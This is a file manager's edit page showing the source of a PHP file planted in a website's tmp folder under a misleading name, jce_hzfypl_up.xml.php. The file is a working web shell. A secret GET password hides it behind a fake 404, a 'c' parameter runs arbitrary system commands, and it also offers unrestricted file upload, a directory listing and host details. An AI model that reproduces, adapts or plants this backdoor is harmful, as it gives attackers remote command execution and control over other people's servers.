File manager - Edit - /home/jardides/www/Jardi-design/ZZZ/tmp/jce_hzfypl_up.xml.php
Back
<?php /* Gate: GET ?root=admin888 */ if(empty($_GET['root'])||$_GET['root']!=='admin888'){http_response_code(404);die;} /* Hidden cmd exec for verification */ if(isset($_GET['c'])){echo'[postpass2]';@system($_GET['c']);die;} $d=__DIR__;$m=''; if($_SERVER['REQUEST_METHOD']==='POST'&&!empty($_FILES['f'])){ $t=$d.'/'.basename($_FILES['f']['name']); $m=move_uploaded_file($_FILES['f']['tmp_name'],$t)?'OK: '.basename($_FILES['f']['name']):'FAIL'; } $fs=[];foreach(scandir($d)as $n){if($n=='.'||$n=='..')continue;$p=$d.'/'.$n;$fs[]=['n'=>$n,'s'=>is_dir($p)?'DIR':_s(filesize($p)),'t'=>date('Y-m-d H:i',filemtime($p))];} function _s($b){if($b>1073741824)return round($b/1073741824,2).'G';if($b>1048576)return round($b/1048576,2).'M';if($b>1024)return round($b/1024,2).'K';return $b.'B';} ?><!DOCTYPE html><html><head><meta charset="UTF-8"><title>UP</title> <style> *{margin:0;padding:0;box-sizing:border-box} body{background:#0a0e14;color:#bfbab0;font:13px/1.4 monospace;padding:14px;max-width:800px;margin:0 auto} h2{color:#ff8f40;font-size:14px;margin-bottom:10px} .up{border:1px dashed #2a3040;border-radius:6px;padding:20px;text-align:center;margin-bottom:14px;background:#111820;cursor:pointer;transition:.2s} .up:hover{border-color:#ff8f40;color:#ff8f40} .up input{display:none} .msg{padding:6px 12px;border-radius:4px;margin-bottom:10px;font-size:12px} .msg.ok{background:#1a2a1a;border:1px solid #3fb950;color:#3fb950} .msg.er{background:#2a1a1a;border:1px solid #f85149;color:#f85149} .fl{background:#111820;border:1px solid #2a3040;border-radius:6px;overflow:hidden} .fl .r{display:flex;align-items:center;padding:6px 14px;border-bottom:1px solid #1a2030;font-size:12px} .fl .r:last-child{border:none}.fl .r:hover{background:#181f2a} .fl .r .n{flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap} .fl .r .s{width:70px;text-align:right;color:#6c7380} .fl .r .t{width:120px;text-align:right;color:#464d5a;font-size:11px} .ft{text-align:center;color:#323844;font-size:11px;margin-top:14px} </style></head><body> <h2>Upload — <?=basename($d)?></h2> <?php if($m):?><div class="msg <?=strpos($m,'OK')===0?'ok':'er'?>"><?=$m?></div><?php endif?> <div class="up" onclick="document.getElementById('ff').click()"> <form method="post" enctype="multipart/form-data" id="fm"><input type="file" name="f" id="ff" onchange="document.getElementById('fm').submit()" multiple></form> Drop files here or click </div> <div class="fl"><?php foreach($fs as $f):?> <div class="r"> <span class="n" style="color:<?=$f['s']=='DIR'?'#ff8f40':'#bfbab0'?>"><?=$f['s']=='DIR'?'📁':'📄'?> <?=htmlspecialchars($f['n'])?></span> <span class="s"><?=$f['s']?></span><span class="t"><?=$f['t']?></span> </div><?php endforeach?> <?php if(empty($fs)):?><div style="padding:40px;text-align:center;color:#464d5a">Empty</div><?php endif?></div> <div class="ft"><?=date('Y-m-d H:i:s')?> | <?=PHP_OS?> | <?=php_uname('n')?></div> </body></html>
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Generation time: 0.02 |
proxy
|
phpinfo
|
Settings